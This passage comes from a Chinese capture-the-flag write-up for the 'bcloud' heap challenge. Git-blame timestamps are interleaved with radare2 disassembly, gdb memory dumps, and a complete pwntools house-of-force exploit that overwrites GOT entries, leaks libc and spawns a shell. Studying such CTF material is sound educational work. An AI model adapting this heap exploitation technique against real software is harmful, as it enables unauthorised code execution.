| 0x08048ab7 push ebp
|
|
|
|
|
| 0x08048ab8 mov ebp, esp
|
|
|
|
|
| 0x08048aba sub esp, 0x28 ; '('
|
|
|
|
|
| 0x08048abd mov dword [local_14h], 0
|
|
|
|
|
| 0x08048ac4 mov dword [esp], str.Input_the_id: ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
|
|
|
|
|
| 0x08048acb call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| 0x08048ad0 call sub.atoi_709 ; int atoi(const char *str)
|
|
|
|
|
| 0x08048ad5 mov dword [local_14h], eax ; 读入 i
|
|
|
|
|
| 0x08048ad8 cmp dword [local_14h], 0
|
|
|
|
|
| ,=< 0x08048adc js 0x8048ae4
|
|
|
|
|
| | 0x08048ade cmp dword [local_14h], 9 ; [0x9:4]=-1 ; 9
|
|
|
|
|
| ,==< 0x08048ae2 jle 0x8048af2
|
|
|
|
|
| || ; JMP XREF from 0x08048adc (sub.Input_the_id:_ab7)
|
|
|
|
|
| |`-> 0x08048ae4 mov dword [esp], str.Invalid_ID. ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
|
|
|
|
|
| | 0x08048aeb call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| |,=< 0x08048af0 jmp 0x8048b61
|
|
|
|
|
| || ; JMP XREF from 0x08048ae2 (sub.Input_the_id:_ab7)
|
|
|
|
|
| || ; JMP XREF from 0x08048b00 (sub.Input_the_id:_ab7)
|
|
|
|
|
| `--> 0x08048af2 mov eax, dword [local_14h] ; 0 <= i <= 9 时,继续
|
|
|
|
|
| | 0x08048af5 mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
|
|
|
|
|
| | 0x08048afc mov dword [local_10h], eax ; 将 notes[i] 放到 [local_10h]
|
|
|
|
|
| | 0x08048aff cmp dword [local_10h], 0
|
|
|
|
|
| ,==< 0x08048b03 jne 0x8048b13 ; notes[i] 不为 0 时跳转
|
|
|
|
|
| || 0x08048b05 mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
|
|
|
|
|
| || 0x08048b0c call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| ,===< 0x08048b11 jmp 0x8048b61
|
|
|
|
|
| |`--> 0x08048b13 mov eax, dword [local_14h]
|
|
|
|
|
| | | 0x08048b16 mov eax, dword [eax*4 + 0x804b0a0] ; 取出 lengths[i]
|
|
|
|
|
| | | 0x08048b1d mov dword [local_ch], eax ; 将 lengths[i] 放到 [local_ch]
|
|
|
|
|
| | | 0x08048b20 mov eax, dword [local_14h]
|
|
|
|
|
| | | 0x08048b23 mov dword [eax*4 + 0x804b0e0], 0 ; 将 syns[i] 赋值为 0
|
|
|
|
|
| | | 0x08048b2e mov dword [esp], str.Input_the_new_content: ; [0x8048f96:4]=0x75706e49 ; "Input the new content:"
|
|
|
|
|
| | | 0x08048b35 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| | | 0x08048b3a mov dword [esp + 8], 0xa
|
|
|
|
|
| | | 0x08048b42 mov eax, dword [local_ch]
|
|
|
|
|
| | | 0x08048b45 mov dword [esp + 4], eax
|
|
|
|
|
| | | 0x08048b49 mov eax, dword [local_10h]
|
|
|
|
|
| | | 0x08048b4c mov dword [esp], eax
|
|
|
|
|
| | | 0x08048b4f call sub.read_68d ; read_68d(notes[i], lengths[i], 0xa) 读入新 content 到原位置,长度不变
|
|
|
|
|
| | | 0x08048b54 mov dword [esp], str.Edit_success. ; [0x8048fad:4]=0x74696445 ; "Edit success."
|
|
|
|
|
| | | 0x08048b5b call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| | | 0x08048b60 nop
|
|
|
|
|
| | | ; JMP XREF from 0x08048af0 (sub.Input_the_id:_ab7)
|
|
|
|
|
| | | ; JMP XREF from 0x08048b11 (sub.Input_the_id:_ab7)
|
|
|
|
|
| `-`-> 0x08048b61 leave
|
|
|
|
|
\ 0x08048b62 ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
该函数在修改 note 时,先将 syns[i] 清空,然后读入 lengths[i] 长度的内容到 notes[i]。
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### Delete note
|
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
[0x08048590]> pdf @ sub.Input_the_id:_b63
|
2018-05-05 23:52:48 +07:00
|
|
|
|
/ (fcn) sub.Input_the_id:_b63 146
|
|
|
|
|
| sub.Input_the_id:_b63 (int arg_9h);
|
|
|
|
|
| ; var int local_10h @ ebp-0x10
|
|
|
|
|
| ; var int local_ch @ ebp-0xc
|
|
|
|
|
| ; var int local_0h @ ebp-0x0
|
|
|
|
|
| ; arg int arg_9h @ ebp+0x9
|
|
|
|
|
| ; CALL XREF from 0x08048d26 (main + 165)
|
|
|
|
|
| 0x08048b63 push ebp
|
|
|
|
|
| 0x08048b64 mov ebp, esp
|
|
|
|
|
| 0x08048b66 sub esp, 0x28 ; '('
|
|
|
|
|
| 0x08048b69 mov dword [local_10h], 0
|
|
|
|
|
| 0x08048b70 mov dword [esp], str.Input_the_id: ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
|
|
|
|
|
| 0x08048b77 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| 0x08048b7c call sub.atoi_709 ; int atoi(const char *str)
|
|
|
|
|
| 0x08048b81 mov dword [local_10h], eax
|
|
|
|
|
| 0x08048b84 cmp dword [local_10h], 0
|
|
|
|
|
| ,=< 0x08048b88 js 0x8048b90
|
|
|
|
|
| | 0x08048b8a cmp dword [local_10h], 9 ; [0x9:4]=-1 ; 9
|
|
|
|
|
| ,==< 0x08048b8e jle 0x8048b9e
|
|
|
|
|
| || ; JMP XREF from 0x08048b88 (sub.Input_the_id:_b63)
|
|
|
|
|
| |`-> 0x08048b90 mov dword [esp], str.Invalid_ID. ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
|
|
|
|
|
| | 0x08048b97 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| |,=< 0x08048b9c jmp 0x8048bf3
|
|
|
|
|
| || ; JMP XREF from 0x08048b8e (sub.Input_the_id:_b63)
|
|
|
|
|
| `--> 0x08048b9e mov eax, dword [local_10h] ; 0 <= i <= 9 时,继续
|
|
|
|
|
| | 0x08048ba1 mov eax, dword [eax*4 + 0x804b120] ; 取出 notes[i]
|
|
|
|
|
| | 0x08048ba8 mov dword [local_ch], eax ; 将 notes[i] 放到 [local_ch]
|
|
|
|
|
| | 0x08048bab cmp dword [local_ch], 0
|
|
|
|
|
| ,==< 0x08048baf jne 0x8048bbf ; notes[i] 不为 0 时跳转
|
|
|
|
|
| || 0x08048bb1 mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
|
|
|
|
|
| || 0x08048bb8 call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| ,===< 0x08048bbd jmp 0x8048bf3
|
|
|
|
|
| ||| ; JMP XREF from 0x08048baf (sub.Input_the_id:_b63)
|
|
|
|
|
| |`--> 0x08048bbf mov eax, dword [local_10h]
|
|
|
|
|
| | | 0x08048bc2 mov dword [eax*4 + 0x804b120], 0 ; 将 notes[i] 置 0
|
|
|
|
|
| | | 0x08048bcd mov eax, dword [local_10h]
|
|
|
|
|
| | | 0x08048bd0 mov dword [eax*4 + 0x804b0a0], 0 ; 将 lengths[i] 置 0
|
|
|
|
|
| | | 0x08048bdb mov eax, dword [local_ch]
|
|
|
|
|
| | | 0x08048bde mov dword [esp], eax
|
|
|
|
|
| | | 0x08048be1 call sym.imp.free ; free([local_ch]),释放 note
|
|
|
|
|
| | | 0x08048be6 mov dword [esp], str.Delete_success. ; [0x8048fbb:4]=0x656c6544 ; "Delete success."
|
|
|
|
|
| | | 0x08048bed call sym.imp.puts ; int puts(const char *s)
|
|
|
|
|
| | | 0x08048bf2 nop
|
|
|
|
|
| | | ; JMP XREF from 0x08048b9c (sub.Input_the_id:_b63)
|
|
|
|
|
| | | ; JMP XREF from 0x08048bbd (sub.Input_the_id:_b63)
|
|
|
|
|
| `-`-> 0x08048bf3 leave
|
|
|
|
|
\ 0x08048bf4 ret
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
该函数首先判断 notes[i] 是否存在,如果存在则释放 notes[i] 并将 notes[i] 和 lengths[i] 都置 0。不存在悬指针等漏洞。
|
|
|
|
|
|
|
|
|
|
至于 Syn 功能,就是将 syns[i] 都置 1,对漏洞利用没有影响。
|
|
|
|
|
|
2018-04-30 22:45:54 +07:00
|
|
|
|
## 漏洞利用
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
所以这题的利用思路就是 house-of-force,步骤如下:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
- 泄漏 heap 地址
|
|
|
|
|
- 利用溢出修改 top chunk 的 size
|
|
|
|
|
- 分配一个 chunk,将 top chunk 转移到 lengths 数组前面
|
|
|
|
|
- 再次分配 chunk,即可覆盖 notes,并利用 Edit 修改其内容
|
|
|
|
|
- 修改 `free@got.plt` 为 `puts@got.plt`,泄漏 libc
|
|
|
|
|
- 修改 `atoi@got.plt` 为 `system@got.plt`,得到 shell
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### leak heap
|
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
```python
|
|
|
|
|
def leak_heap():
|
|
|
|
|
global leak
|
|
|
|
|
|
|
|
|
|
io.sendafter("name:\n", "A" * 0x40)
|
|
|
|
|
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
|
|
|
|
|
log.info("leak heap address: 0x%x" % leak)
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2018-05-05 23:52:48 +07:00
|
|
|
|
gdb-peda$ x/17wx 0xffffb834
|
|
|
|
|
0xffffb834: 0x41414141 0x41414141 0x41414141 0x41414141 <-- stack
|
|
|
|
|
0xffffb844: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0xffffb854: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0xffffb864: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0xffffb874: 0x0804c008 <-- pointer
|
|
|
|
|
gdb-peda$ x/19wx 0x0804c008-0x8
|
|
|
|
|
0x804c000: 0x00000000 0x00000049 0x41414141 0x41414141 <-- heap
|
|
|
|
|
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c020: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c040: 0x41414141 0x41414141 0x0804c008 <-- pointer
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
可以看到对指针被复制到了堆中,只要将其打印出来即可。
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### house-of-force
|
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
```python
|
|
|
|
|
def house_of_force():
|
|
|
|
|
io.sendafter("Org:\n", "A" * 0x40)
|
|
|
|
|
io.sendlineafter("Host:\n", p32(0xffffffff)) # overflow
|
|
|
|
|
|
|
|
|
|
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak
|
|
|
|
|
|
|
|
|
|
payload = "A" * 0x80
|
|
|
|
|
payload += p32(elf.got['free']) # notes[0]
|
|
|
|
|
payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2]
|
|
|
|
|
new(0x8c, payload)
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
接下来是 house-of-force,通过溢出修改 top chunk 的 size,可以在下次 malloc 时将 top chunk 转移到任意地址,之后的 chunk 也将依据转移后的 top chunk 来分配。
|
|
|
|
|
|
|
|
|
|
溢出:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2018-05-05 23:52:48 +07:00
|
|
|
|
gdb-peda$ x/22wx 0x804c098-0x8
|
|
|
|
|
0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141
|
|
|
|
|
0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c0b0: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c0c0: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffffff <-- top chunk size
|
|
|
|
|
0x804c0e0: 0x00000000 0x00000000
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
转移 top chunk:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2018-05-05 23:52:48 +07:00
|
|
|
|
gdb-peda$ x/22wx 0x804c098-0x8
|
|
|
|
|
0x804c090: 0x00000000 0x00000049 0x41414141 0x41414141
|
|
|
|
|
0x804c0a0: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c0b0: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c0c0: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804c0d0: 0x41414141 0x41414141 0x0804c098 0xffffefc1 <-- notes[0] chunk
|
|
|
|
|
0x804c0e0: 0x00000000 0x00000000
|
|
|
|
|
gdb-peda$ p 0x804c0d8 + 0xffffefc0
|
|
|
|
|
$1 = 0x804b098
|
|
|
|
|
gdb-peda$ x/40wx 0x804b098
|
|
|
|
|
0x804b098: 0x00000000 0x00001039 0xffffefb4 0x00000000 <-- top chunk
|
|
|
|
|
0x804b0a8: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
0x804b0b8: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
0x804b0c8: 0x0804c098 0x0804c008 0x00000000 0x00000000
|
|
|
|
|
0x804b0d8: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
0x804b0e8: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
0x804b0f8: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
0x804b108: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
0x804b118: 0x00000000 0x00000000 0x0804c0e0 0x00000000 <-- notes[0]
|
|
|
|
|
0x804b128: 0x00000000 0x00000000 0x00000000 0x00000000
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
再次 malloc,将其后的 .bss 段变为可写,然后放上 GOT 表指针:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
2018-05-05 23:52:48 +07:00
|
|
|
|
gdb-peda$ x/40wx 0x0804b0a0-0x8
|
|
|
|
|
0x804b098: 0x00000000 0x00000099 0x41414141 0x41414141 <-- chunk
|
|
|
|
|
0x804b0a8: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804b0b8: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804b0c8: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804b0d8: 0x41414141 0x41414141 0x41414141 0x00000000
|
|
|
|
|
0x804b0e8: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804b0f8: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804b108: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
|
|
|
0x804b118: 0x41414141 0x41414141 0x0804b014 0x0804b03c <-- notes[0], notes[1]
|
|
|
|
|
0x804b128: 0x0804b03c 0x00000000 0x00000000 0x00000fa1 <-- notes[2] <-- top chunk
|
|
|
|
|
```
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### leak libc
|
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
```python
|
|
|
|
|
def leak_libc():
|
|
|
|
|
global system_addr
|
|
|
|
|
|
|
|
|
|
edit(0, p32(elf.plt['puts'])) # free@got.plt -> puts@plt
|
|
|
|
|
|
|
|
|
|
delete(1) # puts(atoi_addr)
|
|
|
|
|
io.recvuntil("id:\n")
|
|
|
|
|
leak_atoi_addr = u32(io.recvn(4))
|
|
|
|
|
libc_base = leak_atoi_addr - libc.symbols['atoi']
|
|
|
|
|
system_addr = libc_base + libc.symbols['system']
|
|
|
|
|
|
|
|
|
|
log.info("leak atoi address: 0x%x" % leak_atoi_addr)
|
|
|
|
|
log.info("libc base: 0x%x" % libc_base)
|
|
|
|
|
log.info("system address: 0x%x" % system_addr)
|
|
|
|
|
```
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
接下来就可以利用 Edit 功能修改 GOT 表,泄漏 libc 地址了。
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### pwn
|
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
```python
|
|
|
|
|
def pwn():
|
|
|
|
|
edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt
|
|
|
|
|
io.sendline("/bin/sh\x00")
|
|
|
|
|
|
|
|
|
|
io.interactive()
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
开启 ASLR,Bingo!!!
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
```text
|
|
|
|
|
$ python exp.py
|
2018-05-05 23:52:48 +07:00
|
|
|
|
[+] Starting local process './bcloud': pid 6696
|
|
|
|
|
[*] leak heap address: 0x9181008
|
|
|
|
|
[*] leak atoi address: 0xf756b860
|
|
|
|
|
[*] libc base: 0xf753a000
|
|
|
|
|
[*] system address: 0xf757a190
|
|
|
|
|
[*] Switching to interactive mode
|
|
|
|
|
$ whoami
|
|
|
|
|
firmy
|
|
|
|
|
```
|
|
|
|
|
|
2018-08-05 16:43:10 +07:00
|
|
|
|
### exploit
|
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
完整的 exp 如下:
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
2018-05-05 23:52:48 +07:00
|
|
|
|
```python
|
|
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
|
|
#context.log_level = 'debug'
|
|
|
|
|
|
|
|
|
|
io = process(['./bcloud'], env={'LD_PRELOAD':'./libc-2.19.so'})
|
|
|
|
|
elf = ELF('bcloud')
|
|
|
|
|
libc = ELF('libc-2.19.so')
|
|
|
|
|
|
|
|
|
|
bss_addr = 0x0804b0a0
|
|
|
|
|
|
|
|
|
|
def new(length, content):
|
|
|
|
|
io.sendlineafter("option--->>\n", '1')
|
|
|
|
|
io.sendlineafter("content:\n", str(length))
|
|
|
|
|
io.sendlineafter("content:\n", content)
|
|
|
|
|
|
|
|
|
|
def edit(idx, content):
|
|
|
|
|
io.sendlineafter("option--->>\n", '3')
|
|
|
|
|
io.sendline(str(idx))
|
|
|
|
|
io.sendline(content)
|
|
|
|
|
|
|
|
|
|
def delete(idx):
|
|
|
|
|
io.sendlineafter("option--->>\n", '4')
|
|
|
|
|
io.sendlineafter("id:\n", str(idx))
|
|
|
|
|
|
|
|
|
|
def leak_heap():
|
|
|
|
|
global leak
|
|
|
|
|
|
|
|
|
|
io.sendafter("name:\n", "A" * 0x40)
|
|
|
|
|
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
|
|
|
|
|
log.info("leak heap address: 0x%x" % leak)
|
|
|
|
|
|
|
|
|
|
def house_of_force():
|
|
|
|
|
io.sendafter("Org:\n", "A" * 0x40)
|
|
|
|
|
io.sendlineafter("Host:\n", p32(0xffffffff)) # overflow
|
|
|
|
|
|
|
|
|
|
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak
|
|
|
|
|
|
|
|
|
|
payload = "A" * 0x80
|
|
|
|
|
payload += p32(elf.got['free']) # notes[0]
|
|
|
|
|
payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2]
|
|
|
|
|
new(0x8c, payload)
|
|
|
|
|
|
|
|
|
|
def leak_libc():
|
|
|
|
|
global system_addr
|
|
|
|
|
|
|
|
|
|
edit(0, p32(elf.plt['puts'])) # free@got.plt -> puts@plt
|
|
|
|
|
|
|
|
|
|
delete(1) # puts(atoi_addr)
|
|
|
|
|
io.recvuntil("id:\n")
|
|
|
|
|
leak_atoi_addr = u32(io.recvn(4))
|
|
|
|
|
libc_base = leak_atoi_addr - libc.symbols['atoi']
|
|
|
|
|
system_addr = libc_base + libc.symbols['system']
|
|
|
|
|
|
|
|
|
|
log.info("leak atoi address: 0x%x" % leak_atoi_addr)
|
|
|
|
|
log.info("libc base: 0x%x" % libc_base)
|
|
|
|
|
log.info("system address: 0x%x" % system_addr)
|
|
|
|
|
|
|
|
|
|
def pwn():
|
|
|
|
|
edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt
|
|
|
|
|
io.sendline("/bin/sh\x00")
|
|
|
|
|
|
|
|
|
|
io.interactive()
|
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
|
leak_heap()
|
|
|
|
|
house_of_force()
|
|
|
|
|
leak_libc()
|
|
|
|
|
pwn()
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-30 22:45:54 +07:00
|
|
|
|
## 参考资料
|
2018-08-05 16:43:10 +07:00
|
|
|
|
|
|
|
|
|
- <https://ctftime.org/task/2165>
|